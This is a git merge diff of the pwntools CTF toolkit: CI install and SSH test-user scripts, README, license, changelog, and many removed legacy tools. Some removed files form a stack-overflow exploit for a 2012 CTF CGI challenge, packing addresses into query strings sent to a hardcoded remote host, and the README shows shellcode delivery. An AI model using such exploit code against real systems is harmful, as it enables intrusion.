Merge pull request #355 from Gallopsled/setup.py-openbsd

Ugly hack to be able to install on OpenBSD

.gitattributes

@@ -0,0 +1 @@
+pwnlib/data/* linguist-vendored

.gitignore

@@ -4,3 +4,9 @@
 *~
 *.pdf
 */auto/*
+*/bin/*
+docs/build
+build
+MANIFEST
+dist
+pwntools.egg-info

.gitmodules

@@ -1,3 +0,0 @@
-[submodule "lib/rpyc"]
-	path = lib/rpyc
-	url = https://github.com/tomerfiliba/rpyc.git

.travis.yml

@@ -0,0 +1,15 @@
+language: python
+python:
+  - "2.7"
+branches:
+  only:
+    - master
+install:
+  - source .travis_install.sh
+  - source .travis_ssh_setup.sh
+  - python -c 'from pwn import *; print pwnlib.term.term_mode' NOTERM
+  - python -c 'from pwn import *; print pwnlib.term.term_mode' NOTERM
+  - python -c 'from pwn import *; print pwnlib.term.term_mode' NOTERM
+  - python -c 'from pwn import *; print pwnlib.term.term_mode' NOTERM
+
+script: make -C docs doctest

.travis_install.sh

@@ -0,0 +1,29 @@
+#!/usr/bin/env bash
+
+setup_linux()
+{
+    sudo apt-get update
+    sudo apt-get install software-properties-common pwgen
+    sudo apt-add-repository --yes ppa:pwntools/binutils
+    sudo apt-get update
+    sudo apt-get install binutils-arm-linux-gnu binutils-mips-linux-gnu binutils-powerpc-linux-gnu
+    wget -nc http://www.capstone-engine.org/download/2.1.2/capstone-2.1.2_amd64.deb
+    (echo "a30bcb58fd82d32b135eec978eaa22230c44e722 *capstone-2.1.2_amd64.deb" | sha1sum -c) || exit
+    sudo dpkg -i *.deb
+}
+
+setup_osx()
+{
+    brew update
+    brew install binutils
+    brew install capstone
+}
+
+case $(uname) in
+Darwin) setup_osx   ;;
+Linux)  setup_linux ;;
+esac
+
+pip install -r requirements.txt
+pip install -r docs/requirements.txt
+pip install .

.travis_ssh_setup.sh

@@ -0,0 +1,18 @@
+#!/usr/bin/env bash
+#
+# Install a demo user for SSH purposes
+#
+U=demouser
+H=/home/$U
+
+sudo useradd -m $U
+ssh-keygen -t rsa -f /tmp/$U -N ''
+
+eval $(ssh-agent -s)
+ssh-add    /tmp/$U
+
+sudo -u $U mkdir $H/.ssh
+sudo -u $U cp    /tmp/$U.pub $H/.ssh/authorized_keys
+sudo chmod -R 700 $H
+
+(echo -n "$U:"; pwgen 100 1) | sudo chpasswd

CHANGELOG.md

@@ -0,0 +1,18 @@
+# Changelog
+
+This changelog only includes added major features and changes. Bugfixes and
+minor changes are omitted.
+
+## 2.2.0 - 2014-08-28 (pre)
+
+This was a large release with a lot of bugfixes and changes. Only the most significant
+are mentioned here.
+
+- Added shellcodes
+- Added phd
+- Re-added our expansion of itertools
+- Added replacements for some semi-broken python standard library modules
+- Re-implemented the rop module
+- Added a serial tube
+- Huge performance gains in the buffering for tubes
+- Re-added user agents

CONTRIBUTING.md

@@ -0,0 +1,38 @@
+# Contributing
+
+We love pull requests!
+
+Github has a great guide for contributing to open source projects:
+
+- [Contributing to a project](https://guides.github.com/activities/forking/)
+- [Fork the repository](https://guides.github.com/activities/forking/#fork)
+- [Clone your fork](https://guides.github.com/activities/forking/#clone)
+- [Making and pushing changes](https://guides.github.com/activities/forking/#making-changes)
+- [Making a Pull Request](https://guides.github.com/activities/forking/#making-a-pull-request)
+- [Huzzah!](https://guides.github.com/activities/forking/#huzzah)
+
+## Pwntools Specifics
+
+In general, we like to keep things documented.  You should add documentation to any new functionality, and update it for any changed functionality.  Our docstrings use the [Google Style Python Docstrings](https://sphinxcontrib-napoleon.readthedocs.org/en/latest/example_google.html#example-google).
+
+After you have documentation, you should add a [doctest](https://docs.python.org/2/library/doctest.html).
+
+Finally, it is probably a good idea to run the test suite locally before doing
+the pull-request to make sure everything works, however this is not a
+requirement.
+
+Once you do the pull-request Travis CI will run the test-suite on it. Once it
+passes one of the core developers will look at your pull request, possibly
+comment on it and then hopefully merge it into master.
+
+## Test Suite
+
+To run the test suite, you should be running Ubuntu 12.04 or 14.04, and run the following commands.  **Be aware** that this will add a user to your machine, and create a public key for SSH login!
+
+```sh
+bash .travis_install.sh
+bash .travis_ssh_setup.sh
+cd docs
+pip install -r requirements.txt
+make doctest
+```

LICENSE-pwntools.txt

@@ -0,0 +1,34 @@
+TL;DR version:
+   Everything in pwntools is open source. Most is under an MIT license, but a
+   few pieces are under GPL or a BSD 2-clause licence.
+
+This license covers everything within this project, except for a few pieces
+of code that we either did not write ourselves or which we derived from code
+that we did not write ourselves. These few pieces have their license specified
+in a header, or by a file called LICENSE.txt, which will explain exactly what
+it covers. The few relevant pieces of code are all contained inside these
+directories:
+
+- pwnlib/constants/
+- pwnlib/data/
+
+
+Copyright (c) 2013 Gallopsled
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.

MANIFEST.in

@@ -0,0 +1 @@
+include *.txt

README

@@ -1,2 +0,0 @@
- 1. Add the `lib' directory to your PYTHONPATH
- 2. Whine on #pwnies on freenode.net when stuff doesn't work

README.md

@@ -0,0 +1,56 @@
+# pwntools - CTF toolkit
+[![Docs latest](https://readthedocs.org/projects/pwntools/badge/)](https://pwntools.readthedocs.org/en/latest)
+[![Docs 2.1.3](https://readthedocs.org/projects/pwntools/badge/?version=2.1.3)](https://pwntools.readthedocs.org/en/2.1.3)
+[![PyPI](https://img.shields.io/pypi/v/pwntools.svg)](https://pypi.python.org/pypi/pwntools/)
+[![Gittip](https://img.shields.io/gittip/gallopsled.svg)](https://www.gittip.com/gallopsled/)
+[![Travis](https://travis-ci.org/Gallopsled/pwntools.svg)](https://travis-ci.org/Gallopsled/pwntools)
+
+This is the CTF framework used by Gallopsled in every CTF.
+
+```python
+from pwn import *
+context(arch = 'i386', os = 'linux')
+
+r = remote('exploitme.example.com', 31337)
+# EXPLOIT CODE GOES HERE
+r.send(asm(shellcraft.sh()))
+r.interactive()
+```
+
+However we have made command-line frontends for some of the functionality
+in `pwnlib`. These are:
+
+* `asm`/`disasm`: Small wrapper for various assemblers.
+* `constgrep`: Tool for finding constants defined in header files.
+* `cyclic`: De Bruijn sequence generator and lookup tool.
+* `hex`/`unhex`: Command line tools for doing common hexing/unhexing operations.
+* `shellcraft`: Frontend to our shellcode.
+* `phd`: Replacement for `hexdump` with colors.
+
+# Documentation
+Our documentation is available at [pwntools.readthedocs.org](https://pwntools.readthedocs.org/en/latest/)
+
+To get you started, we've provided some example solutions for past CTF challenges in our [write-ups repository](https://github.com/Gallopsled/pwntools-write-ups).
+
+# Installation
+
+pwntools is best supported on Ubuntu 12.04 and 14.04, but most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).
+
+Most of the functionality of pwntools is self-contained and Python-only.  You should be able to get running quickly with
+
+```sh
+pip install pwntools
+```
+
+However, some of the features (ROP generation and assembling/disassembling foreign architectures) require non-Python dependencies.  For more information, see the [complete installation instructions here](https://pwntools.readthedocs.org/en/latest/install.html).
+
+
+# Contribution
+
+See [CONTRIBUTING.md](CONTRIBUTING.md)
+
+# Contact
+If you have any questions not worthy of a [bug report](https://github.com/Gallopsled/pwntools/issues), feel free to join us
+at [`#gallopsled` on Freenode](irc://irc.freenode.net/gallopsled) and ask away.
+Click [here](https://kiwiirc.com/client/irc.freenode.net/gallopsled) to connect.
+

asm/asm

@@ -1,54 +0,0 @@
-#!/usr/bin/python
-
-import argparse, tempfile, sys, subprocess, os
-
-parser = argparse.ArgumentParser()
-parser.add_argument('lines', metavar='line', nargs='*', help='Lines to assemble. If none are supplied, use stdin')
-parser.add_argument("-b", "--bits", help="The assembly mode", choices=[16,32,64], default=32, type=int)
-parser.add_argument("-f", "--format", help="Output format (defaults to hex for ttys, otherwise raw)", choices=['raw', 'hex'])
-parser.add_argument("-o", metavar='file', help="Output file (defaults to stdout)", type=argparse.FileType('w'), default=sys.stdout)
-parser.add_argument("-O", metavar='level', help="Optimization options to pass to nasm", choices = ['0', '1', 'x'], default='x')
-args = parser.parse_args()
-
-if args.format == None:
-    if args.o.isatty():
-        args.format = 'hex'
-    else:
-        args.format = 'raw'
-
-tmp = tempfile.NamedTemporaryFile(suffix='.asm')
-tmpname = tmp.name
-
-tmp.write('[BITS %d]\n' % args.bits)
-
-if len(args.lines) > 0:
-    tmp.write('\n'.join(args.lines))
-else:
-    tmp.write(sys.stdin.read())
-
-tmp.flush()
-
-try:
-    retval = subprocess.call(['nasm', '-O' + args.O, '-o', tmpname + '.out', tmpname], stdout=sys.stderr, stderr=sys.stderr)
-    tmp.close()
-
-    if retval != 0:
-        sys.exit(retval)
-
-    with open(tmpname + '.out') as f:
-        output = f.read()
-
-    if args.format == 'raw':
-        args.o.write(output)
-    elif args.format == 'hex':
-        args.o.write(output.encode('hex') + '\n')
-    else:
-        raise Exception("Unknown output format") # This really shouldn't happen
-
-    args.o.flush()
-
-finally:
-    try:
-        os.unlink(tmpname + '.out')
-    except:
-        pass

asm/disasm

@@ -1,19 +0,0 @@
-#!/usr/bin/python
-
-import argparse, tempfile, sys, subprocess, os, readline
-
-parser = argparse.ArgumentParser()
-parser.add_argument('hex', metavar='hex', nargs='?', help='Hex-string to disasemble. If none are supplied, then it uses stdin in non-hex mode.')
-parser.add_argument("-b", "--bits", help="The disassembly mode", choices=['16','32','64'], default='32')
-args = parser.parse_args()
-
-tmp = tempfile.NamedTemporaryFile(suffix='.bin')
-tmpname = tmp.name
-
-if args.hex != None:
-    tmp.write(args.hex.decode("hex"))
-else:
-    tmp.write(sys.stdin.read())
-
-tmp.flush()
-sys.exit(subprocess.call(['ndisasm', '-b' + args.bits, tmpname], stdout=sys.stderr, stderr=sys.stderr))

bin/asm

@@ -1 +0,0 @@
-../asm/asm

bin/binvis

@@ -1 +0,0 @@
-../visualization/binvis.py

bin/bytes

@@ -1 +0,0 @@
-../bytes/bin/bytes

bin/crop

@@ -1 +0,0 @@
-../crop/bin/crop

bin/cyclic

@@ -1 +0,0 @@
-../cyclic/cyclic

bin/demo32

@@ -1 +0,0 @@
-../demo/demo32

bin/demo64

@@ -1 +0,0 @@
-../demo/demo64

bin/dictgen

@@ -1 +0,0 @@
-../dictgen/dictgen

bin/disasm

@@ -1 +0,0 @@
-../asm/disasm

bin/gadgets

@@ -1 +0,0 @@
-../gadgets/gadgets

bin/getdata

@@ -1 +0,0 @@
-../pil/getdata

bin/hex

@@ -1 +0,0 @@
-../hex/hex

bin/mags

@@ -1 +0,0 @@
-../mags/mags

bin/nops

@@ -1 +0,0 @@
-../nops/nops

bin/peek

@@ -1 +0,0 @@
-../poke/peek

bin/poke

@@ -1 +0,0 @@
-../poke/poke

bin/randomua

@@ -1 +0,0 @@
-../randomua/randomua

bin/scramble

@@ -1 +0,0 @@
-../scramble/scramble

bin/setdata

@@ -1 +0,0 @@
-../pil/setdata

bin/shellcraft

@@ -1 +0,0 @@
-../shellcraft/shellcraft

bin/unhex

@@ -1 +0,0 @@
-../unhex/unhex

bin/wrap32

@@ -1 +0,0 @@
-../wrap/wrap32

bin/wrap64

@@ -1 +0,0 @@
-../wrap/wrap64

binutils/build.sh

@@ -1,23 +0,0 @@
-#!/bin/bash
-
-# This script was used to generate the binaries in this folder
-# Its mostly untested and probably assumes stuff about the system it runs on
-#
-# USE WITH CAUTION
-
-if [ -z "$1" ]; then
-  echo "Usage: $0 target"
-  exit 0
-fi
-
-TARGET="$1"
-
-export CFLAGS="-m32 -Os -fno-exceptions -fno-asynchronous-unwind-tables -fno-unwind-tables -ffunction-sections -fdata-sections -Wl,--gc-sections -Wno-error=unused-but-set-variable -Wno-error=format-security"
-export MAKEFLAGS='-j 4'
-cd ~/src; rm -rf binutils-"$TARGET"-build; mkdir binutils-"$TARGET"-build; cd binutils-"$TARGET"-build/
-time { ../binutils-2.22/configure --disable-libquadmath  --disable-libquadmath-support --disable-nls --enable-no_exceptions --enable-no_rtti  --disable-ppl-version-check --disable-cloog-version-check  --disable-foo --without-fp --disable-intl --disable-gprof --disable-ld --target="$TARGET"-linux; make; make; } || exit 1
-for f in gas/as-new binutils/objdump binutils/objcopy; do
-  strip -s --strip-all --remove-section=.comment --remove-section=.note $f
-  upx -qqq --best --ultra-brute $f
-  du -hs $f
-done

bytes/Makefile

@@ -1,4 +0,0 @@
-.PHONY: all
-all:
-	premlton src/bytes.mlb
-	mv src/bytes bin/bytes

bytes/src/Log.sig

@@ -1,16 +0,0 @@
-signature Log =
-sig
-  datatype level = Debug
-                 | Verbose
-                 | Chatty
-                 | Normal
-                 | Quiet
-  val setLevel : level -> unit
-  val setIndentation : int -> unit
-  val indent : int -> unit
-  val debug : string -> unit
-  val verbose : string -> unit
-  val chatty : string -> unit
-  val normal : string -> unit
-  val warning : string -> unit
-end

bytes/src/Log.sml

@@ -1,49 +0,0 @@
-structure Log :> Log =
-struct
-datatype level = Debug
-               | Verbose
-               | Chatty
-               | Normal
-               | Quiet
-
-val level = ref Normal
-val ind = ref 0
-
-fun setLevel l = level := l
-
-fun setIndentation n = ind := n
-
-fun indent n = ind := (!ind + n)
-
-fun print s = if !ind > 0
-              then println (String.spaces (!ind) ^ s)
-              else println s
-
-fun debug s =
-    if !level = Debug
-    then print s
-    else ()
-
-fun verbose s =
-    if !level = Verbose
-    then print s
-    else debug s
-
-fun chatty s =
-    if !level = Chatty
-    then print s
-    else verbose s
-
-fun normal s =
-    if !level <> Quiet
-    then print s
-    else ()
-
-fun warning s =
-    (TextIO.output (TextIO.stdErr,
-                    if !level = Quiet
-                    then s ^ "\n"
-                    else String.spaces (!ind) ^ s ^ "\n"
-                   )
-   ; TextIO.flushOut TextIO.stdErr)
-end

bytes/src/bytes.mlb

@@ -1,10 +0,0 @@
-local
-$(SML_LIB)/basis/basis.mlb
-../mylib/MyLib.mlb
-in
-Log.sig
-Log.sml
-
-%pre main.sml
-%pre go.sml
-end

bytes/src/go.sml

@@ -1,188 +0,0 @@
-val version = "0.0.1"
-
-fun usage name =
-    map println
-        ["usage: % [options] [file]" <- name
-       , ""
-       , "Options: (default marked by *)"
-       , "  -r, --radix"
-       , "   *a  Auto"
-       , "    b  Binary"
-       , "    o  Octal"
-       , "    d  Decimal"
-       , "    h  Hexadecimal"
-       , "  -u, --unsigned"
-       , "  -p, --plain"
-       , "  -g, --groupsize"
-       , "   *a  Auto"
-       , "    n  Groups of n bytes"
-       , "  -e, --endian"
-       , "   *l  Little"
-       , "    b  Big"
-       , "  -i, --inter-byte-endian"
-       , "    l  Little"
-       , "   *b  Big"
-       , "  -o <file>"
-        ]
-
-fun printVersionAndExit () = (println ("bytes version " ^ version)
-                           ; OS.Process.exit OS.Process.success)
-fun printUsageAndExit () = (usage $ CommandLine.name ()
-                          ; OS.Process.exit OS.Process.success)
-fun die e = (Log.warning e ; OS.Process.exit OS.Process.failure)
-
-local
-  val radix = ref NONE
-  val unsigned = ref false
-  val plain = ref false
-  val groupsize = ref NONE
-  val endian = ref Little
-  val bendian = ref Big
-  val src = ref NONE
-  val dst = ref NONE
-  fun setRadix x = radix := SOME x
-  fun setUnsigned () = unsigned := true
-  fun setPlain x = plain := true
-  fun setGroupsize x = groupsize := SOME x
-  fun setBendian x = bendian := x
-  fun setEndian x = endian := x
-  fun setSrc x = case !src of
-                   SOME s => raise Fail ("Only one source file allowed \
-                                         \(you already told me '" ^ s ^ "')")
-                 | NONE => src := SOME x
-  fun setDst x = dst := SOME x
-  fun getOpt () =
-      let
-        val src = case !src of
-                    SOME "-" => TextIO.stdIn
-                  | SOME f   => TextIO.openIn f
-                  | NONE     => printUsageAndExit ()
-        val dst = case !dst of
-                    SOME f => TextIO.openOut f
-                  | NONE   => TextIO.stdOut
-      in
-        (!radix, !unsigned, !plain, !groupsize, !endian, !bendian, src, dst)
-      end
-      handle IO.Io {cause = OS.SysErr (desc, _), name, ...} =>
-             raise Fail (desc ^ ": '" ^ name ^ "'")
-in
-
-fun parseArgs args =
-    let open Parser val op >>= = op --> infix >>> ||| --|
-      fun unknownOpt k v =
-          raise Fail ("Unknown option (%): %" <- k <- v)
-      val args =
-          List.concatMap
-            (fn arg =>
-                case explode arg of
-                  #"-" :: c :: cs =>
-                  if c <> #"-" andalso not $ null cs
-                  then [String.substring (arg, 0, 2)
-                      , String.extract (arg, 2, NONE)]
-                  else [arg]
-                | _ => [arg])
-            args
-
-      val radix =
-          do tok <- any
-           ; return
-             (case tok of
-                "binary"      => setRadix Bin
-              | "b"           => setRadix Bin
-              | "octal"       => setRadix Oct
-              | "o"           => setRadix Oct
-              | "decimal"     => setRadix Dec
-              | "d"           => setRadix Dec
-              | "hexadecimal" => setRadix Hex
-              | "h"           => setRadix Hex
-              | "auto"        => ()
-              | "a"           => ()
-              | _             => unknownOpt "--radix" tok
-             )
-          end
-
-      val groupsize =
-          do tok <- any
-           ; return
-               (case Int.fromString tok of
-                  SOME n => setGroupsize n
-                | NONE   =>
-                  case tok of
-                    "a"    => ()
-                  | "auto" => ()
-                  | _      => unknownOpt "--groupsize" tok
-               )
-          end
-
-      val endian =
-          any >>>
-              (fn "l"      => setEndian Little
-                | "little" => setEndian Little
-                | "b"      => setEndian Big
-                | "big"    => setEndian Big
-                | tok      => unknownOpt "--endian" tok
-              )
-
-      val bendian =
-          any >>>
-              (fn "l"      => setBendian Little
-                | "little" => setBendian Little
-                | "b"      => setBendian Big
-                | "big"    => setBendian Big
-                | tok      => unknownOpt "--inter-byte-endian" tok
-              )
-
-      fun help ? = (return $ printUsageAndExit ()) ?
-
-      val one =
-          do tok <- any
-           ; case tok of
-               "--radix"             => radix
-             | "-r"                  => radix
-             | "--unsigned"          => return $ setUnsigned ()
-             | "-u"                  => return $ setUnsigned ()
-             | "--plain"             => return $ setPlain ()
-             | "-p"                  => return $ setPlain ()
-             | "--groupsize"         => groupsize
-             | "-g"                  => groupsize
-             | "--endian"            => endian
-             | "-e"                  => endian
-             | "--inter-byte-endian" => bendian
-             | "-i"                  => bendian
-             | "-o"                  => any >>> setDst
-             | "--help"              => help
-             | "-h"                  => help
-             | "-?"                  => help
-             | "--version"           => return $ printVersionAndExit ()
-             | _                     => return $ setSrc tok
-          end
-      val parse =
-          do many' one
-           ; eof
-          end
-    in
-      case Parse.list parse args of
-        Right _ => getOpt ()
-      | Left ({token = SOME x, ...} :: _) =>
-        raise Fail ("Could not parse command line arguments\
-                    \ (failed on '" ^ x ^ "')")
-      | Left _ =>
-        raise Fail ("Could not parse command line arguments")
-    end
-end
-
-fun verify (args as (radix, unsigned, plain, groupsize, endian, bendian, _, _)) =
-    ((if plain andalso (radix = SOME Oct orelse radix = SOME Dec)
-      then raise Fail "Only hex and binary allowed in plain mode"
-      else ())
-   ; Option.map (fn n => if n <= 0
-                         then raise Fail "Groupsize must be strictly positive"
-                         else ()) groupsize
-   ; args
-    )
-
-fun go () =
-    main $ verify $ parseArgs $ CommandLine.arguments ()
-    handle Fail s => die s
-
-val _ = go ()

bytes/src/main.sml

@@ -1,226 +0,0 @@
-fun impossible s = raise Fail $ "Impossible: %" <- s
-
-datatype radix
-  = Bin
-  | Oct
-  | Dec
-  | Hex
-
-datatype format
-  = Plain
-
-datatype endian
-  = Little
-  | Big
-
-fun main (radix, unsigned, plain, groupsize, endian, bendian, src, dst) =
-    let open Parser val op >>= = op -->
-      open (oneOf, noneOf, char, string, strings, whitespace, alphaNum) Text
-      infix 0 |||
-      infix 1 --- |-- --| ^^^ ::: @@@
-      infix 2 >>> >>= ??? produce underlies
-      open IntInf
-
-      fun offset n c = fromInt $ Int.- (ord c, n)
-
-      val bindig =
-          oneOf "01" >>> offset 0x30
-
-      val octdig =
-          oneOf "01234567" >>> offset 0x30
-
-      val decdig =
-          oneOf "0123456789" >>> offset 0x30
-
-      val hexdig =
-          oneOf "0123456789" >>> offset 0x30
-      ||| oneOf "abcdef" >>> offset 0x57
-      ||| oneOf "ABCDEF" >>> offset 0x37
-
-      val bin = many1 bindig
-      val oct = many1 octdig
-      val dec = many1 decdig
-      val hex = many1 hexdig
-
-      fun signed p = do oneOf "-~"
-                      ; (b, _, n) <- p
-                      ; return (b, ~1, n)
-                     end ||| p
-
-      fun valuate (b, s, ns) = s * foldl (fn (d, s) => s * b + d) 0 ns
-
-      fun read strm = Option.map (, strm) $ TextIO.input1 src
-
-      fun write1 b =
-          TextIO.output1 (dst, chr $ Int.fromLarge b)
-
-      fun groups n e xs =
-          (if e = Little then rev else id) (List.take (xs, n)) ::
-          groups n e (List.drop (xs, n))
-          handle Subscript => []
-
-      fun goPlain () =
-        let
-          val groupsize = getOpt (groupsize, 1)
-          (* val radix = getOpt (radix, Hex) *)
-          (* a byte is `n` base `b` digits in `e` endian order *)
-          fun go n b =
-              app write1 o
-              List.concat o
-              groups groupsize endian o
-              map (valuate o (b, 1, )) o
-              groups n bendian o
-              List.concat
-        in
-          case radix of
-            SOME Hex =>
-            do whitespace
-             ; ds <- many $ Lex.lexeme hex
-             ; eof
-             ; return $ go 2 16 ds
-            end
-          | SOME Bin =>
-            do whitespace
-             ; ds <- many $ Lex.lexeme bin
-             ; eof
-             ; return $ go 8 2 ds
-            end
-          | NONE =>
-            do whitespace
-             ; ds <- many $ Lex.lexeme hex
-             ; eof
-             ; return (
-               if List.all (List.all (fn d => d = 0 orelse d = 1)) ds
-               then go 8 2 ds
-               else go 2 16 ds
-               )
-            end
-          | _ => impossible "main.goPlain"
-        end
-
-      fun goAuto () =
-          let
-            val auto = try do strings ["0x", "0X", "\\x", "\\X"]
-                            ; hex >>> (SOME 16, 1,)
-                           end |||
-                       try do d <- decdig
-                            ; ds <- hex
-                            ; char #"h"
-                            ; return (SOME 16, 1, ds)
-                           end |||
-                       try do ds <- oct
-                            ; char #"o"
-                            ; return (SOME 8, 1, ds)
-                           end |||
-                       (* try do char #"0" *)
-                       (*      ; oct >>> (SOME 8, 1,) *)
-                       (*     end ||| *)
-                       try do char #"\\"
-                            ; count 3 octdig >>> (SOME 8, 1,)
-                           end |||
-                       hex >>> (NONE, 1,)
-
-            val num =
-                (if unsigned then id else signed)
-                  (case radix of
-                     NONE     => auto
-                   | SOME Bin => bin >>> (SOME 2, 1,)
-                   | SOME Oct => oct >>> (SOME 8, 1,)
-                   | SOME Dec => dec >>> (SOME 10, 1,)
-                   | SOME Hex => hex >>> (SOME 16, 1,)
-                  )
-
-            fun autosize ns =
-                let
-                  val (min, max) = foldl (fn (x, (min, max)) =>
-                                             if x < min then (x, max)
-                                             else if x > max then (min, x)
-                                             else (min, max)) (0, 0) ns
-                  fun isZero n = sign n = 0
-                  fun log n =
-                      if isZero n
-                      then 0
-                      else Int.+ (1, log (n div 256))
-                in
-                  Int.max(1, if min < 0
-                             then log (max - min)
-                             else log max)
-                end
-
-            fun autobase ns =
-                case List.partition (fn (mbb, _, _) => mbb <> NONE) ns of
-                  (nil, ns) =>
-                  let
-                    val max = foldl IntInf.max 0
-                    val b = max $ map (fn (_, _, ds) => max ds) ns
-                    val b = case (b >= 10, b >= 2) of
-                              (true, _) => 16
-                            | (_, true) => 10
-                            | _         =>  2
-                  in
-                    map (fn (_, s, ns) => (b, s, ns)) ns
-                  end
-                | (ns, _) => map (fn (mbb, s, ns) => (valOf mbb, s, ns)) ns
-
-            val isbits = List.all (fn (b, s, ns) => b = 2 andalso
-                                                    s = 1 andalso
-                                                    length ns = 1)
-
-            (* Negative numbers just work magically *)
-            fun write n x =
-                let
-                  fun loop 0 _ = []
-                    | loop n x =
-                      let
-                        val (b, x') = (x mod 256
-                                     , x div 256)
-                      in
-                        b :: loop (Int.- (n, 1)) x'
-                      end
-                in
-                  case endian of
-                    Little => app write1 $ loop n x
-                  | Big    => app write1 $ rev $ loop n x
-                end
-
-            fun binary ns =
-                let
-                  val groupsize = case groupsize of
-                                    NONE   => 1
-                                  | SOME n => n
-                  val bits = map (fn (_, _, ds) => hd ds) ns
-                  val bytes = map (valuate o (2, 1,)) $ groups 8 bendian bits
-                  val words = List.concat $ groups groupsize endian bytes
-                in
-                  app write1 words
-                end
-
-            fun regular ns =
-                let
-                  val vs = map valuate ns
-                  val groupsize = case groupsize of
-                                    NONE   => autosize vs
-                                  | SOME n => n
-                in
-                  app (write groupsize) vs
-                end
-          in
-            do ns <- many $ match num
-             ; ns := autobase ns
-             ; return (if isbits ns
-                       then binary ns
-                       else regular ns)
-            end
-          end
-
-      val go =
-          if plain
-          then goPlain ()
-          else try (goPlain ()) ||| goAuto ()
-    in
-      Parse.testString go $ TextIO.inputAll src
-      (* test (fn c => "'" ^ str c ^ "'") *)
-      (*      go *)
-      (*      (Option.map (, src) o TextIO.input1) *)
-      (*      src *)
-    end

cgioverflow/README

@@ -1,2 +0,0 @@
-Files used to exploit the CGI binary in the kielbasa challenge from secuinside 2012.
-Can be used as a template for exploiting CGI binaries by stack overflow.

cgioverflow/captcha-do.sh

@@ -1,10 +0,0 @@
-#!/bin/sh
-echo wpxlc7BG > log/1339253868.log
-export REQUEST_METHOD="GET"
-export REMOTE_ADDR=127.0.0.1
-export REMOTE_PORT=4242
-export HTTP_USER_AGENT=awesome
-export QUERY_STRING='q=sent&t_s=133925386800000000000000000000009&v=wpxlc7BG000000000000000000000000xxxxxxxxxxxxxxxxxxxxxxxx1'
-#./captcha.cgi
-gdbserver --once localhost:23946 ./captcha.cgi
-#./handle_sent

cgioverflow/exploit.py

@@ -1,19 +0,0 @@
-#!/usr/bin/env python3
-import sys
-import kielbasa
-
-if len(sys.argv) > 1:
-	ts = bytes(sys.argv[1], 'ASCII')
-else:
-	ts = b'1339253868'
-if len(sys.argv) > 2:
-	v = bytes(sys.argv[2], 'ASCII')
-else:
-	v = b'wpxlc7BG'
-
-f = open('log/'+str(ts, 'ASCII')+'.log', 'wb')
-f.write(v)
-f.close()
-
-(ts_par, v_par) = kielbasa.exploit1_qs(ts, v)
-print(str(kielbasa.request_remote('sent', ts_par, v_par, debug=False), 'UTF-8'))

cgioverflow/kielbasa.py

@@ -1,104 +0,0 @@
-import socket
-import re
-import struct
-import os
-import sys
-from subprocess import Popen
-from subprocess import PIPE
-
-def is_digit(c):
-	return not b'ERROR t_s digit' in request('sent', bytes([c]), None)
-
-def _make_querystring(q, t_s = None, v = None):
-	qs = b'?q=' + bytes(q, 'ASCII')
-	if t_s != None:
-		qs += b'&t_s=' + t_s
-	if v != None:
-		qs += b'&v=' + v
-	return qs
-
-def request(q, t_s = None, v = None, useragent = None, remote=True, debug=False):
-	if remote:
-		return request_remote(q, t_s, v, useragent)
-	else:
-		return request_local(q, t_s, v, useragent, debug)
-
-
-def request_remote(q,t_s = None, v = None, useragent = None, debug = False):
-	if debug:
-		path='/cgi-bin/captcha-debug.cgi'
-		host='10.10.10.245'
-	else:
-		path='/captcha/captcha.cgi'
-		host='61.42.25.20'
-	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-	s.connect((host, 80))
-	req = b'GET ' + bytes(path, 'ASCII')
-	req += _make_querystring(q,t_s,v)
-	s.sendall(req + b' HTTP/1.1\r\n')
-	s.sendall(b'Host: ' + bytes(host, 'ASCII') + b'\r\n')
-	if useragent != None:
-		s.sendall(b'User-Agent: '+useragent+b'\r\n')
-	else:
-		s.sendall(b'User-Agent: foobar\r\n')
-	s.sendall(b'\r\n')
-	buf = b''
-	while True:
-		chunk = s.recv(1024)
-		if chunk == b'':
-			break
-		buf += chunk
-	return buf
-
-
-def request_local(q,t_s = None, v = None, useragent = None, debug=False):
-	if debug:
-		args = ['/usr/bin/gdbserver', '--once', 'localhost:23946', './captcha.cgi']
-	else:
-		args = ['./captcha.cgi']
-	env = {
-		'REQUEST_METHOD': 'GET',
-		'REMOTE_ADDR': '127.0.0.1',
-		'REMOTE_PORT': '4242',
-		'HTTP_USER_AGENT': useragent if useragent != None else 'foobar',
-		'QUERY_STRING': _make_querystring(q,t_s,v),
-		'PATH': os.environ['PATH']
-	}
-	p = Popen(args, bufsize = 4096, env = env,
-	          stdin=PIPE, stdout=PIPE, stderr=PIPE)
-	buf = b''
-	while True:
-		chunk = p.stdout.read(1024)
-		if chunk == b'':
-			break
-		buf += chunk
-	return buf
-	
-
-def overflow_qs(t_s, v, user_agent, t_s_buf_pointer, remote_port, name_100_buffer, remote_addr, mmap_flags, use_malloc, pad_ts, pad_v, pad_flags = b'xxx'):
-	overflow_size = b'9' if use_malloc else b'7'
-	t_s_param = t_s + bytes.ljust(pad_ts, 22, b'0') + overflow_size
-	v_param = v + bytes.ljust(pad_v, 24, b'0')
-	v_param += struct.pack('<L', user_agent)
-	v_param += struct.pack('<L', t_s_buf_pointer)
-	v_param += struct.pack('<L', remote_port)
-	v_param += struct.pack('<L', name_100_buffer)
-	v_param += struct.pack('<L', remote_addr)
-	v_param += bytes.ljust(pad_flags, 3, b'x')
-	v_param += struct.pack('B', mmap_flags)
-	if use_malloc:
-		v_param += b'1'
-	return (t_s_param, v_param)
-
-def exploit1_qs(t_s, v):
-	str1_pos = 0x08049701
-	null1_pos = 0x08049734
